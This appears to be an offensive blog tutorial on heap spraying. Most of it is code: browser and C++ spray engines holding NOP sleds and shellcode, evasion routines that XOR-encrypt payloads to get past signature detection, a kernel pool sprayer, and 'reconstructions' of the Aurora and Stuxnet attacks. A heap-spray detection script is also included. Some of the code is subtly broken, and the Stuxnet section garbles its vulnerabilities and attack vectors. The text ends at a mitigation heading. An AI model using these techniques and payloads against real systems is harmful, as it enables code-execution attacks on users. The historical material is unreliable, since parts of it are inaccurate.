Greetings, digital demolition experts and exploit artisans! In the ever-evolving arena of binary exploitation, where stack overflows have been largely mitigated and modern mitigations stand guard, heap spraying remains a potent weapon in the red teamer’s arsenal. This sophisticated technique transforms the heap from a mere memory management system into a precision delivery mechanism for shellcode execution.
As advanced practitioners of the offensive arts, we understand that successful exploitation requires not just technical skill, but deep insight into how memory management systems work—and how they can be manipulated. Heap spraying represents the pinnacle of memory corruption techniques, allowing attackers to reliably place executable code at predictable addresses despite modern security measures like Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP).
In this comprehensive exploration, we’ll dissect heap spraying from its theoretical foundations through cutting-edge implementation techniques. You’ll learn how to weaponize heap allocators, bypass modern mitigations, and execute complex payloads with surgical precision. From classic Internet Explorer exploits to modern browser attacks, heap spraying continues to prove that understanding memory management is key to mastering exploit development.
Prepare to dive deep into the heap’s dark waters, where we’ll uncover:
- Heap Allocator Internals: Understanding dlmalloc, ptmalloc, and Windows heap management
- Spraying Strategies: From basic NOP sleds to advanced code placement techniques
- ASLR Bypass Methods: Defeating address randomization through heap manipulation
- Modern Browser Exploitation: Chrome, Firefox, and Edge heap spraying techniques
- Anti-Forensic Measures: Evading heap analysis and memory forensics
- Custom Tool Development: Building your own heap spraying frameworks
Whether you’re crafting browser exploits, developing kernel rootkits, or pushing the boundaries of what’s possible in memory corruption, heap spraying provides the techniques you need to succeed. Let’s begin our journey into the heap’s depths, where predictability meets exploitation.
Heap Memory Architecture and Exploitation Foundations#
Before we can master heap spraying, we must understand the intricate workings of heap memory management systems. The heap represents one of the most complex and security-critical components of modern computing, serving as both the foundation for dynamic memory allocation and a prime target for exploitation.
Heap Memory Fundamentals#
The heap is a dynamically allocated memory region that exists alongside the stack, code, and data segments in a process’s virtual address space. Unlike the stack’s rigid Last-In-First-Out (LIFO) structure, the heap provides flexible memory allocation for data structures whose size and lifetime cannot be determined at compile time.
Key Characteristics:
- Dynamic Sizing: Memory blocks can be allocated and freed in any order
- Shared Lifetime: Heap allocations persist until explicitly deallocated
- Complex Management: Requires sophisticated algorithms to track free and used memory
- Performance Critical: Heap operations must be fast yet thread-safe
Heap Allocator Evolution#
Unix/Linux: dlmalloc/ptmalloc#
The Doug Lea malloc (dlmalloc) allocator, later evolved into ptmalloc, represents the foundation of Unix heap management:
// Conceptual dlmalloc heap chunk structure
struct malloc_chunk {
size_t prev_size; // Size of previous chunk (when free)
size_t size; // Size of this chunk | flags
struct malloc_chunk* fd; // Forward pointer (free chunks)
struct malloc_chunk* bk; // Backward pointer (free chunks)
// User data follows...
};
Allocation Strategy:
- Search Phase: Scan free bins for suitable chunk
- Split Phase: Divide large chunks when necessary
- Coalesce Phase: Merge adjacent free chunks to reduce fragmentation
Security Implications:
- Use-After-Free: Dangling pointers to freed chunks
- Double-Free: Corrupting free list structure
- Heap Overflow: Overwriting adjacent chunk metadata
Windows Heap Management#
Windows implements a more complex heap system with multiple allocators:
// Windows heap chunk structure (simplified)
typedef struct _HEAP_ENTRY {
union {
struct {
WORD Size;
BYTE Flags;
BYTE SmallTagIndex;
};
struct {
VOID* SubSegmentCode;
WORD PreviousSize;
BYTE SegmentOffset;
BYTE LFHFlags;
};
struct {
VOID* FunctionIndex;
WORD ContextValue;
};
struct {
VOID* InterceptorValue;
WORD UnusedBytesLength;
WORD EntryOffset;
};
struct {
VOID* Code1;
WORD Code2;
BYTE Code3;
BYTE Code4;
};
};
} HEAP_ENTRY, *PHEAP_ENTRY;
Windows Heap Types:
- NT Heap: Default process heap, backward-compatible
- Segment Heap: Modern Windows 10+ heap, optimized for security
- Low Fragmentation Heap (LFH): Reduces fragmentation for small allocations
- Custom Heaps: Application-specific allocators
Windows Security Features:
- Heap Cookies: XOR-encoded validation values
- Safe Unlinking: Validates forward/backward pointers
- Termination on Corruption: Immediate process termination on heap corruption
Heap Exploitation Primitives#
Use-After-Free (UAF)#
One of the most powerful heap exploitation primitives occurs when a program continues to use a pointer after the associated memory has been freed:
// Vulnerable UAF pattern
void* ptr = malloc(100);
free(ptr);
// Attacker can now allocate this memory
void* evil_ptr = malloc(100); // Gets same address as ptr
// Original ptr now points to attacker-controlled data
memset(ptr, 'A', 100); // Overwrites attacker's data
Exploitation Strategy:
- Free target object, leaving dangling pointer
- Spray heap with controlled data structures
- Trigger UAF to corrupt victim object’s vtable/function pointers
- Execute arbitrary code through corrupted pointers
Heap Overflow#
Overflowing heap buffers allows overwriting adjacent heap metadata:
// Vulnerable heap overflow
char* buffer = (char*)malloc(100);
strcpy(buffer, user_input); // No bounds checking
// Attacker can overflow into next chunk's metadata
// Overwrite size field to create large "free" chunk
// Consolidate with adjacent chunks for larger allocation
Advanced Exploitation:
- Chunk Header Corruption: Modify size/flags to manipulate heap layout
- Unlink Attacks: Corrupt forward/backward pointers in free lists
- House of Spirit: Create fake chunks to manipulate allocation
Type Confusion#
Exploiting differences between intended and actual object types:
// Type confusion vulnerability
class BaseObject {
public:
virtual void do_something() = 0;
};
class SafeObject : public BaseObject {
private:
char buffer[32];
public:
virtual void do_something() {
// Safe operation
}
};
class DangerousObject : public BaseObject {
private:
void (*function_ptr)();
public:
virtual void do_something() {
function_ptr(); // Calls arbitrary function
}
};
// Attacker sprays DangerousObjects
// Victim code treats them as SafeObjects
// Type confusion leads to arbitrary code execution
Heap Spraying: The Technique#
Heap spraying transforms the heap from a management system into a deterministic code execution platform. The core concept involves flooding the heap with attacker-controlled data at predictable addresses, creating a “spray” of potential execution targets.
Core Principle:
Predictable Address + Controlled Content = Reliable Exploitation
Why Heap Spraying Works:
- Allocation Predictability: Heap allocators often return memory from predictable locations
- Large Address Space: Modern 64-bit systems provide vast heap space
- Memory Layout Stability: Heap structure remains relatively stable during exploitation
- ASLR Ineffectiveness: Large heap sprays can cover multiple possible address ranges
Basic Heap Spray Mechanics#
// Classic JavaScript heap spray (browser exploitation)
function heapSpray(shellcode) {
// Create NOP sled + shellcode pattern
var nop = unescape("%u9090%u9090"); // NOP sled
var payload = nop + shellcode;
// Repeat to fill large blocks
while (payload.length < 0x1000) {
payload += payload;
}
// Spray heap with predictable addresses
var spray = new Array();
for (var i = 0; i < 0x1000; i++) {
spray[i] = payload.substring(0, 0x1000);
}
return spray;
}
// Trigger vulnerability that jumps to sprayed address
// 0x0c0c0c0c is often a sprayed address in 32-bit systems
Advanced Heap Spray Techniques#
Precision Heap Feng Shui#
Modern heap spraying requires surgical precision rather than brute force:
class PrecisionHeapSprayer {
private:
std::vector<void*> sprayed_blocks_;
const size_t block_size_ = 0x100000; // 1MB blocks
const uintptr_t target_address_ = 0x0c0c0c0c; // Target spray address
public:
void feng_shui_heap() {
// Step 1: Exhaust heap with small allocations
exhaust_small_allocations();
// Step 2: Create holes with specific pattern
create_heap_holes();
// Step 3: Spray with precision placement
precision_spray();
}
private:
void exhaust_small_allocations() {
// Fill heap with small objects to force larger allocations elsewhere
for (int i = 0; i < 10000; i++) {
void* small = malloc(64);
memset(small, 0x41, 64);
sprayed_blocks_.push_back(small);
}
}
void create_heap_holes() {
// Free every other block to create predictable holes
for (size_t i = 0; i < sprayed_blocks_.size(); i += 2) {
free(sprayed_blocks_[i]);
}
sprayed_blocks_.clear();
}
void precision_spray() {
// Allocate large blocks that will fill the holes predictably
for (int i = 0; i < 100; i++) {
void* large_block = malloc(block_size_);
// Fill with NOP sled + shellcode
memset(large_block, 0x90, block_size_ - shellcode_.size());
memcpy((char*)large_block + block_size_ - shellcode_.size(),
shellcode_.data(), shellcode_.size());
sprayed_blocks_.push_back(large_block);
}
}
std::vector<uint8_t> shellcode_ = {
0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68,
0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50,
0x53, 0x89, 0xe1, 0x31, 0xd2, 0xb0, 0x0b, 0xcd,
0x80 // Linux execve("/bin/sh") shellcode
};
};
ASLR-Aware Heap Spraying#
Defeating Address Space Layout Randomization requires sophisticated spraying strategies:
class ASLRHeapSprayer {
private:
const size_t spray_size_ = 0x10000000; // 256MB spray
const size_t block_size_ = 0x10000; // 64KB blocks
std::vector<void*> spray_blocks_;
public:
void aslr_bypass_spray() {
// Calculate likely heap address ranges
std::vector<uintptr_t> likely_ranges = calculate_likely_ranges();
for (uintptr_t base_addr : likely_ranges) {
spray_range(base_addr);
}
}
private:
std::vector<uintptr_t> calculate_likely_ranges() {
// Common heap base addresses for different ASLR implementations
std::vector<uintptr_t> ranges;
// Windows common ranges
ranges.push_back(0x0c000000); // Common spray address
ranges.push_back(0x0d000000);
ranges.push_back(0x0e000000);
// Linux common ranges
ranges.push_back(0x08000000);
ranges.push_back(0x09000000);
// macOS common ranges
ranges.push_back(0x100000000);
ranges.push_back(0x110000000);
return ranges;
}
void spray_range(uintptr_t base_address) {
size_t num_blocks = spray_size_ / block_size_;
for (size_t i = 0; i < num_blocks; i++) {
void* block = malloc(block_size_);
// Fill with address-dependent content
uintptr_t block_addr = reinterpret_cast<uintptr_t>(block);
create_address_aware_payload(block, block_addr, base_address);
spray_blocks_.push_back(block);
}
}
void create_address_aware_payload(void* block, uintptr_t block_addr, uintptr_t target) {
// Create payload that works regardless of exact address
char* payload = static_cast<char*>(block);
// NOP sled
memset(payload, 0x90, block_size_ / 2);
// Address-agnostic shellcode
memcpy(payload + block_size_ / 2, shellcode_.data(), shellcode_.size());
// Address-specific trigger (if needed)
uintptr_t* trigger = reinterpret_cast<uintptr_t*>(payload + block_size_ - sizeof(uintptr_t));
*trigger = target;
}
// Position-independent shellcode
std::vector<uint8_t> shellcode_ = {
// Linux x86-64 position-independent shellcode
0x48, 0x31, 0xff, // xor rdi, rdi
0x48, 0x31, 0xc0, // xor rax, rax
0xb0, 0x69, // mov al, 0x69 (execveat)
0x0f, 0x05, // syscall
// ... (shellcode continues)
};
};
Heap Spray Detection and Evasion#
Anti-Heap Spray Defenses#
Modern systems employ multiple layers of defense against heap spraying:
- Heap Randomization: Randomize heap base addresses
- Allocation Randomization: Randomize allocation order
- Size Randomization: Vary allocation sizes to break patterns
- Integrity Checks: Validate heap metadata before operations
Evasion Techniques#
class EvasiveHeapSprayer {
public:
void polymorphic_spray() {
// Vary spray patterns to evade detection
std::vector<SprayPattern> patterns = generate_polymorphic_patterns();
for (const auto& pattern : patterns) {
apply_pattern(pattern);
std::this_thread::sleep_for(std::chrono::milliseconds(100)); // Timing variation
}
}
private:
struct SprayPattern {
size_t block_size;
std::vector<uint8_t> content;
size_t repetitions;
};
std::vector<SprayPattern> generate_polymorphic_patterns() {
std::vector<SprayPattern> patterns;
// Pattern 1: Variable-sized blocks
patterns.push_back({0x10000, generate_junk_content(0x10000), 100});
// Pattern 2: Sparse spraying
patterns.push_back({0x100000, generate_sparse_content(0x100000), 10});
// Pattern 3: Encrypted payload blocks
patterns.push_back({0x1000, generate_encrypted_payload(0x1000), 1000});
return patterns;
}
void apply_pattern(const SprayPattern& pattern) {
for (size_t i = 0; i < pattern.repetitions; i++) {
void* block = malloc(pattern.block_size);
memcpy(block, pattern.content.data(), pattern.content.size());
spray_blocks_.push_back(block);
// Random delay to avoid detection
if (rand() % 100 < 10) { // 10% chance
std::this_thread::sleep_for(std::chrono::milliseconds(rand() % 50));
}
}
}
std::vector<uint8_t> generate_junk_content(size_t size) {
std::vector<uint8_t> content(size);
for (size_t i = 0; i < size; i++) {
content[i] = rand() % 256;
}
return content;
}
std::vector<uint8_t> generate_sparse_content(size_t size) {
std::vector<uint8_t> content(size, 0);
// Place payload at random locations
size_t payload_pos = rand() % (size - shellcode_.size());
memcpy(content.data() + payload_pos, shellcode_.data(), shellcode_.size());
return content;
}
std::vector<uint8_t> generate_encrypted_payload(size_t size) {
// Encrypt payload to evade signature-based detection
std::vector<uint8_t> encrypted = shellcode_;
for (size_t i = 0; i < encrypted.size(); i++) {
encrypted[i] ^= 0xAA; // Simple XOR encryption
}
// Pad to required size
encrypted.resize(size, rand() % 256);
return encrypted;
}
std::vector<uint8_t> shellcode_;
std::vector<void*> spray_blocks_;
};
Real-World Heap Spray Exploitation#
Browser-Based Heap Spraying#
// Internet Explorer 6-8 heap spray (historical example)
function ie_heap_spray() {
var shellcode = unescape("%u4141%u4141" + // NOP sled
"%u4141%u4141" +
// Shellcode here
"%u4141%u4141");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (slackspace.length < 0x1000) {
slackspace += slackspace;
}
var fillblock = slackspace.substring(0, 0x1000 - slackspace.length);
var block = shellcode + fillblock;
block = block.substring(0, block.length);
while (block.length < 0x40000) {
block += block;
}
// Spray at predictable address
var spray = new Array();
for (var i = 0; i < 400; i++) {
spray[i] = block.substring(0, 0x3FFFFF);
}
return spray;
}
// Modern Chrome heap spray using ArrayBuffers
function chrome_heap_spray() {
var spray = [];
var total_size = 0x10000000; // 256MB
var block_size = 0x10000; // 64KB
// Create shellcode
var shellcode = new ArrayBuffer(0x1000);
var shellcode_view = new Uint8Array(shellcode);
// Fill with shellcode bytes...
for (var i = 0; i < total_size / block_size; i++) {
var block = new ArrayBuffer(block_size);
var block_view = new Uint8Array(block);
// Fill with NOP sled + shellcode
for (var j = 0; j < block_size; j++) {
block_view[j] = (j < block_size - 0x1000) ? 0x90 : shellcode_view[j - (block_size - 0x1000)];
}
spray.push(block);
}
return spray;
}
Kernel Heap Spraying#
// Windows kernel pool spraying (advanced technique)
class KernelPoolSprayer {
private:
HANDLE device_handle_;
public:
KernelPoolSprayer() : device_handle_(INVALID_HANDLE_VALUE) {}
bool initialize() {
// Open vulnerable device handle
device_handle_ = CreateFile(L"\\\\.\\VulnerableDevice",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
return device_handle_ != INVALID_HANDLE_VALUE;
}
void spray_kernel_pool() {
const size_t allocation_size = 0x1000; // 4KB allocations
const size_t spray_count = 10000;
std::vector<HANDLE> allocations;
for (size_t i = 0; i < spray_count; i++) {
// Allocate kernel pool memory via device I/O
HANDLE allocation = allocate_kernel_memory(allocation_size);
if (allocation != INVALID_HANDLE_VALUE) {
allocations.push_back(allocation);
}
}
// Trigger vulnerability that uses sprayed memory
trigger_vulnerability();
// Cleanup
for (HANDLE h : allocations) {
free_kernel_memory(h);
}
}
private:
HANDLE allocate_kernel_memory(size_t size) {
// Use device I/O to allocate kernel memory
DWORD bytes_returned;
KERNEL_ALLOC_REQUEST request = { size };
if (!DeviceIoControl(device_handle_, IOCTL_ALLOCATE_MEMORY,
&request, sizeof(request), NULL, 0,
&bytes_returned, NULL)) {
return INVALID_HANDLE_VALUE;
}
return reinterpret_cast<HANDLE>(request.address);
}
void free_kernel_memory(HANDLE handle) {
DWORD bytes_returned;
DeviceIoControl(device_handle_, IOCTL_FREE_MEMORY,
&handle, sizeof(handle), NULL, 0,
&bytes_returned, NULL);
}
void trigger_vulnerability() {
// Trigger the vulnerability that will use sprayed memory
// This would be specific to the target vulnerability
}
};
This expanded foundation provides the technical depth needed to understand advanced heap spraying techniques. The heap represents a complex attack surface that requires both theoretical understanding and practical implementation skills.
Now that we understand the basics of heap spraying, let’s explore the different heap spraying techniques that attackers use.
Static Heap Spraying#
Static heap spraying is a simple technique where the attacker floods the heap with a large number of identical objects, such as shellcode or NOP sleds. The attacker typically uses a script or program to allocate a large amount of memory and then fill it with their payload.
Static heap spraying can be effective against simple heap vulnerabilities, but it’s not very reliable against modern operating systems and runtime environments. Modern heap managers randomize the location of the heap in memory, making it difficult for attackers to locate the objects they spray.
Dynamic Heap Spraying#
Dynamic heap spraying involves flooding the heap with objects that have different sizes or data values. This technique is more complex than static heap spraying and requires a deep understanding of memory allocation algorithms and heap management techniques.
The most common dynamic heap spraying technique is called “heap feng shui.” This technique involves manipulating the heap to ensure that the objects we spray are allocated in the desired location.
To perform heap feng shui, attackers use a combination of techniques to allocate objects in specific locations in the heap. These techniques can include allocating small objects to exhaust the available space in the heap, allocating medium-sized objects to fill the holes left by the small objects, and allocating large objects to create a contiguous block of memory.
Once the attackers have created the contiguous block of memory, they can spray it with their payload and exploit the vulnerable code.
Dynamic heap spraying can be very effective against modern operating systems and runtime environments that randomize the location of the heap. Attackers can use heap feng shui to manipulate the heap and locate the objects they spray in the desired location.
Blind Heap Spraying#
Blind heap spraying is a technique used when the attacker doesn’t know the location of the heap in memory. This technique is more complex than static and dynamic heap spraying and requires advanced knowledge of heap internals and memory management.
One common method of blind heap spraying is to use a heap leak vulnerability to obtain the address of the heap. A heap leak vulnerability occurs when a program exposes a pointer to an object in the heap. Attackers can use this pointer to calculate the address of the heap and then use dynamic heap spraying to execute their payload.
Blind heap spraying can be very effective against modern operating systems and runtime environments that randomize the location of the heap. However, it’s a more complex technique that requires more advanced knowledge of heap internals and memory management.
Browser Exploitation Frameworks#
JavaScript Heap Spray Engines#
// Advanced JavaScript heap spraying framework
class JSHeapSprayEngine {
constructor() {
this.spray_addresses = this.generateSprayAddresses();
this.shellcode = this.generateShellcode();
this.blocks = [];
}
generateSprayAddresses() {
// Generate predictable spray addresses for different browsers
const addresses = [];
// Internet Explorer common addresses
addresses.push(0x0c0c0c0c, 0x0d0d0d0d, 0x0e0e0e0e);
// Firefox common addresses
addresses.push(0x1c1c1c1c, 0x1d1d1d1d);
// Chrome/WebKit common addresses
addresses.push(0x0c0c0c0c, 0x14141414);
return addresses;
}
generateShellcode() {
// Universal shellcode for Windows (calc.exe)
const shellcode = [
0x31, 0xc9, 0x51, 0x68, 0x63, 0x61, 0x6c, 0x63, // "calc"
0x54, 0x59, 0x52, 0x51, 0x64, 0x8b, 0x72, 0x30,
0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b, 0x6e,
0x08, 0x8b, 0x36, 0x8b, 0x5d, 0x3c, 0x8b, 0x5c,
0x1d, 0x78, 0x01, 0xeb, 0x8b, 0x4c, 0x1d, 0x24,
0x01, 0xe9, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5c,
0x1d, 0x1c, 0x01, 0xeb, 0x03, 0x2c, 0x8b, 0x89,
0x6c, 0x24, 0x24, 0x30, 0xc7, 0x40, 0x80, 0xff,
0xd5, 0x31, 0xc9, 0x51, 0x68, 0x61, 0x72, 0x79,
0x41, 0x54, 0x59, 0x52, 0x51, 0x64, 0x8b, 0x72,
0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b,
0x6e, 0x08, 0x8b, 0x36, 0x8b, 0x5d, 0x3c, 0x8b,
0x5c, 0x1d, 0x78, 0x01, 0xeb, 0x8b, 0x4c, 0x1d,
0x24, 0x01, 0xe9, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
0x5c, 0x1d, 0x1c, 0x01, 0xeb, 0x8b, 0x04, 0x8b,
0x01, 0xe8, 0x03, 0x2c, 0x8b, 0x89, 0x6c, 0x24,
0x24, 0x30, 0xc7, 0x40, 0x80, 0xff, 0xd5, 0x31,
0xc9, 0x87, 0xfd, 0xeb, 0x0c, 0x5f, 0x5a, 0x5b,
0xc2, 0x0c, 0x00
];
return shellcode;
}
createSprayBlock(address, size = 0x100000) {
// Create NOP sled
const nop = String.fromCharCode(0x90);
let nopsled = '';
for (let i = 0; i < 0x1000; i++) {
nopsled += nop;
}
// Convert shellcode to string
let shellcodeStr = '';
for (let byte of this.shellcode) {
shellcodeStr += String.fromCharCode(byte);
}
// Create spray block
const block = nopsled + shellcodeStr;
// Pad to size
while (block.length < size) {
block += block;
}
return block.substring(0, size);
}
sprayHeap() {
console.log("Starting heap spray...");
for (let address of this.spray_addresses) {
console.log(`Spraying at address: 0x${address.toString(16)}`);
// Create spray blocks for this address
const blocks = [];
for (let i = 0; i < 100; i++) {
const block = this.createSprayBlock(address);
blocks.push(block);
}
this.blocks.push(blocks);
}
console.log("Heap spray complete. Ready for exploitation.");
}
getSprayedAddress(index = 0) {
return this.spray_addresses[index];
}
}
// Usage
const sprayer = new JSHeapSprayEngine();
sprayer.sprayHeap();
const targetAddr = sprayer.getSprayedAddress();
console.log(`Target address for exploitation: 0x${targetAddr.toString(16)}`);
Heap Spray Detection and Analysis Tools#
#!/usr/bin/env python3
"""
Heap Spray Detection and Analysis Tool
Security Note: This tool analyzes memory dumps for heap spraying artifacts
Only use on authorized memory captures for legitimate analysis
"""
import struct
import sys
from collections import defaultdict, Counter
from typing import List, Dict, Tuple
class HeapSprayAnalyzer:
def __init__(self, memory_dump_path: str):
self.dump_path = memory_dump_path
self.memory_data = self.load_memory_dump()
self.analysis_results = {}
def load_memory_dump(self) -> bytes:
"""Load memory dump into analysis buffer"""
with open(self.dump_path, 'rb') as f:
return f.read()
def detect_heap_spray_patterns(self) -> Dict[str, List[int]]:
"""Detect common heap spraying patterns"""
patterns = {
'nop_sleds': [],
'shellcode_signatures': [],
'repeated_sequences': [],
'predictable_addresses': []
}
# Scan for NOP sleds (x86)
nop_sled = b'\x90' * 32 # 32 NOPs
pos = 0
while True:
pos = self.memory_data.find(nop_sled, pos)
if pos == -1:
break
patterns['nop_sleds'].append(pos)
pos += 1
# Scan for shellcode signatures
shellcode_sigs = [
b'\x31\xc0\x50\x68', # XOR EAX, EAX; PUSH EAX; PUSH
b'\x83\xec', # SUB ESP
b'\xff\xd0', # CALL EAX
]
for sig in shellcode_sigs:
pos = 0
while True:
pos = self.memory_data.find(sig, pos)
if pos == -1:
break
patterns['shellcode_signatures'].append(pos)
pos += 1
# Detect repeated sequences (heap spray artifacts)
sequence_length = 256
sequence_counts = Counter()
for i in range(0, len(self.memory_data) - sequence_length, sequence_length):
sequence = self.memory_data[i:i + sequence_length]
sequence_counts[sequence] += 1
# Find sequences that appear suspiciously often
for sequence, count in sequence_counts.items():
if count > 10: # Threshold for suspicious repetition
patterns['repeated_sequences'].append((sequence, count))
# Check for predictable spray addresses
common_spray_addresses = [
0x0c0c0c0c, 0x0d0d0d0d, 0x0e0e0e0e, # IE spray addresses
0x14141414, 0x15151515, 0x16161616, # Chrome spray addresses
]
for addr in common_spray_addresses:
if addr < len(self.memory_data):
# Check if address points to suspicious content
addr_content = self.memory_data[addr:addr + 64]
if self.is_suspicious_content(addr_content):
patterns['predictable_addresses'].append(addr)
return patterns
def is_suspicious_content(self, content: bytes) -> bool:
"""Check if memory content appears suspicious"""
# Look for NOP sleds
nop_count = content.count(b'\x90')
if nop_count > 16: # More than 16 NOPs
return True
# Look for shellcode-like patterns
suspicious_bytes = [b'\xeb', b'\xe9', b'\xff\xd0', b'\x31\xc0'] # JMP, CALL, XOR
suspicious_count = sum(1 for sig in suspicious_bytes if sig in content)
return suspicious_count > 2
def analyze_heap_layout(self) -> Dict[str, any]:
"""Analyze heap layout for spraying artifacts"""
heap_info = {
'total_size': len(self.memory_data),
'allocated_blocks': [],
'free_blocks': [],
'suspicious_allocations': []
}
# Simple heap block detection (this would be more sophisticated in practice)
block_size = 0x1000 # 4KB blocks
for i in range(0, len(self.memory_data), block_size):
block = self.memory_data[i:i + block_size]
if self.is_allocated_block(block):
heap_info['allocated_blocks'].append(i)
else:
heap_info['free_blocks'].append(i)
if self.is_suspicious_allocation(block):
heap_info['suspicious_allocations'].append(i)
return heap_info
def is_allocated_block(self, block: bytes) -> bool:
"""Determine if a memory block appears allocated"""
# Check for non-zero content (simplified)
return sum(block) > 0
def is_suspicious_allocation(self, block: bytes) -> bool:
"""Check for suspicious allocation patterns"""
# Look for heap spray characteristics
if block.count(b'\x90') > 100: # NOP sled
return True
# Look for repeated patterns
if len(set(block[i:i+4] for i in range(0, len(block)-4, 4))) < len(block) // 16:
return True
return False
def generate_report(self) -> str:
"""Generate comprehensive analysis report"""
patterns = self.detect_heap_spray_patterns()
heap_layout = self.analyze_heap_layout()
report = "Heap Spray Analysis Report\n"
report += "=" * 50 + "\n\n"
report += f"Memory Dump Size: {len(self.memory_data)} bytes\n\n"
report += "Detected Patterns:\n"
for pattern_type, locations in patterns.items():
report += f" {pattern_type}: {len(locations)} instances\n"
if locations and len(locations) <= 10: # Show first 10
for loc in locations[:10]:
report += f" 0x{loc:08x}\n"
report += "\nHeap Layout Analysis:\n"
report += f" Allocated blocks: {len(heap_layout['allocated_blocks'])}\n"
report += f" Free blocks: {len(heap_layout['free_blocks'])}\n"
report += f" Suspicious allocations: {len(heap_layout['suspicious_allocations'])}\n"
if heap_layout['suspicious_allocations']:
report += "\n Suspicious allocation addresses:\n"
for addr in heap_layout['suspicious_allocations'][:20]:
report += f" 0x{addr:08x}\n"
return report
def run_full_analysis(self) -> str:
"""Run complete heap spray analysis"""
print("Starting heap spray analysis...")
report = self.generate_report()
print("Analysis complete.")
return report
# Usage example
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python heap_analyzer.py <memory_dump>")
sys.exit(1)
analyzer = HeapSprayAnalyzer(sys.argv[1])
report = analyzer.run_full_analysis()
print(report)
# Save report
with open('heap_analysis_report.txt', 'w') as f:
f.write(report)
Real-World Heap Spray Exploits#
Aurora Operation (2009-2010)#
One of the most sophisticated heap spray campaigns targeted Internet Explorer:
// Aurora heap spray (simplified reconstruction)
// This was used in the Google Aurora attacks
function aurora_heap_spray() {
// Create large heap allocations
var heap_blocks = new Array();
// Shellcode: Download and execute malicious binary
var shellcode = unescape(
"%u4141%u4141" + // NOP sled
"%u4141%u4141" +
// Metasploit shellcode for Windows
"%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30" +
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac" +
"%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b" +
// ... (full shellcode would be much longer)
);
var spray_address = 0x0c0c0c0c; // Predictable spray address
// Create spray blocks
var block_size = 0x100000; // 1MB blocks
var num_blocks = 200; // 200MB total spray
for (var i = 0; i < num_blocks; i++) {
var block = shellcode;
// Pad block to size
while (block.length < block_size) {
block += block;
}
block = block.substring(0, block_size);
heap_blocks[i] = block;
}
return heap_blocks;
}
// Trigger vulnerability
function trigger_aurora_vulnerability() {
// Use-after-free in Internet Explorer
var obj = document.createElement('object');
obj.classid = 'clsid:...' // Malicious ActiveX
// Free object
obj = null;
// Heap spray fills freed memory
var sprayed = aurora_heap_spray();
// Trigger use-after-free
// This would execute sprayed shellcode
}
Stuxnet Heap Spray Techniques#
The Stuxnet worm used sophisticated heap spraying to exploit Windows vulnerabilities:
// Stuxnet heap spray reconstruction (educational)
// Stuxnet used multiple heap spray techniques
class StuxnetHeapSpray {
private:
std::vector<uint8_t> print_spooler_exploit_;
std::vector<uint8_t> lsm_exploit_;
public:
StuxnetHeapSpray() {
// Initialize exploit payloads
initialize_exploits();
}
void execute_heap_spray_attack() {
// Step 1: Spray heap with print spooler exploit
spray_print_spooler_exploit();
// Step 2: Trigger vulnerability via .LNK file
trigger_via_shortcut();
// Step 3: Escalate privileges via Lsm service exploit
spray_lsm_exploit();
}
private:
void spray_print_spooler_exploit() {
// Allocate large heap blocks containing exploit
const size_t spray_size = 0x10000000; // 256MB
const size_t block_size = 0x10000; // 64KB
for (size_t i = 0; i < spray_size / block_size; i++) {
void* block = malloc(block_size);
// Fill with NOP sled + print spooler exploit shellcode
memset(block, 0x90, block_size - print_spooler_exploit_.size());
memcpy((char*)block + block_size - print_spooler_exploit_.size(),
print_spooler_exploit_.data(), print_spooler_exploit_.size());
sprayed_blocks_.push_back(block);
}
}
void trigger_via_shortcut() {
// Create malicious .LNK file that triggers print spooler vulnerability
// This would be done via USB drive propagation
create_malicious_lnk_file();
}
void spray_lsm_exploit() {
// Spray heap with Local Security Authority Subsystem exploit
// This provides SYSTEM privileges
spray_privilege_escalation_payload();
}
void initialize_exploits() {
// Initialize print spooler exploit (CVE-2010-2729)
print_spooler_exploit_ = {
// Shellcode for print spooler exploitation
// This would contain the actual exploit payload
};
// Initialize Lsm privilege escalation exploit
lsm_exploit_ = {
// Shellcode for Lsm service exploitation
};
}
std::vector<void*> sprayed_blocks_;
};
Modern Browser Heap Spraying#
Contemporary browsers have made heap spraying more difficult, but not impossible:
// Modern Chrome heap spray using WebAssembly
async function modern_heap_spray() {
// Use WebAssembly for more sophisticated heap manipulation
const wasmCode = `
(module
(memory (export "memory") 256) ;; 16MB memory
(func (export "spray")
(local $i i32)
(loop
(i32.store (local.get $i) (i32.const 0x90909090)) ;; NOP sled
(local.set $i (i32.add (local.get $i) (i32.const 4)))
(br_if 0 (i32.lt_u (local.get $i) (i32.const 0x1000000))) ;; 16MB
)
)
)
`;
// Compile WebAssembly module
const module = await WebAssembly.compile(wasmCode);
const instance = await WebAssembly.instantiate(module);
// Spray heap with WebAssembly memory
const spray_instances = [];
for (let i = 0; i < 100; i++) {
const instance = await WebAssembly.instantiate(module);
spray_instances.push(instance);
// Fill memory with shellcode
const memory = new Uint8Array(instance.exports.memory.buffer);
// Fill with NOP sled + shellcode
memory.fill(0x90, 0, 0x100000); // NOP sled
// Copy shellcode to end of NOP sled
}
return spray_instances;
}
// Use SharedArrayBuffer for cross-worker heap spraying (if available)
function shared_array_buffer_spray() {
if (!window.SharedArrayBuffer) {
console.log("SharedArrayBuffer not available");
return;
}
const spray_buffers = [];
for (let i = 0; i < 50; i++) {
// Create large shared buffer
const buffer = new SharedArrayBuffer(0x1000000); // 16MB
const view = new Uint8Array(buffer);
// Fill with spray content
for (let j = 0; j < view.length; j += 4) {
view[j] = 0x90; // NOP
view[j + 1] = 0x90;
view[j + 2] = 0x90;
view[j + 3] = 0x90;
}
// Place shellcode at predictable offset
const shellcode = get_shellcode();
for (let j = 0; j < shellcode.length; j++) {
view[view.length - shellcode.length + j] = shellcode[j];
}
spray_buffers.push(buffer);
}
return spray_buffers;
}
Heap Spray Mitigation and Detection#
Modern Defense Techniques#
- Address Space Layout Randomization (ASLR): Randomizes heap base addresses
